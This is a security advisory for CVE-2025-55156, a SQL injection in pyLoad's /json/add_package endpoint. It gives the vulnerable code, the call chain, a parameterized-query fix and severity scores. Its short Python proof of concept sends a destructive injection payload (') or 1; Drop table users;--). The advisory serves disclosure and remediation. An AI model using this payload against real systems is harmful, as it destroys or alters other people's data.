Advisory details:
pypa / pyload-ng/PYSEC-2026-1821
| Advisory ID | pypa/pyload-ng/PYSEC-2026-1821 |
| Aliases |
CVE-2025-55156
GHSA-pwh4-6r3m-j2rf PYSEC-2026-1821 |
| Summary | PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter ### Summary The parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage. ### Details - Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271 - Affected code: ```python @style.queue def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids ```` statuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability. - Vulnerability Chain ```xml josn_blueprint.py#add_package src/pyload/core/api/__init__.py#add_package src/pyload/core/managers/file_manager.py#add_links src/pyload/core/threads/info_thread.py#run src/pyload/core/threads/info_thread.py#update_info src/pyload/core/managers/file_manager.py#update_file_info src/pyload/core/database/file_database.py#update_link_info ``` ### PoC ```python import requests if __name__ == "__main__": url = "http://localhost:8000/json/add_package" data = { "add_name": "My Downloads1", "add_dest": "0", "add_links": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "add_password": "mypassword" } response = requests.post(url, cookies=your_cookies, data=data) print(response.status_code, response.text) ``` <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" /> ### Remediation ```python def update_link_info(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询，避免SQL注入 placeholders = ','.join(['?'] * len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids ``` ### Impact Attackers can modify or delete data in the database, causing data errors or loss. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.0 |
| Risk | 3.5 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv4 | 7.8 | https://github.com/pypa/advisory-database/blob/main/vulns/pyload-ng/PYSEC-2026-1821.yaml |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Attack Requirements (AT) | Privileges Required (PR) | User Interaction (UI) | Vulnerable System Impact Confidentiality (VC) | Vulnerable System Impact Integrity (VI) | Vulnerable System Impact Availability (VA) | Subsequent System Impact Confidentiality (SC) | Subsequent System Impact Integrity (SI) | Subsequent System Impact Availability (SA) |
|---|---|---|---|---|---|---|---|---|---|---|
network adjacent local physical |
low high |
none present |
none low high |
none passive active |
high low none |
high low none |
high low none |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2025-08-12T15:49:23Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/55xxx/CVE-2025-55156.json
Source Advisory: vulnrichment/CVE-2025-55156
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]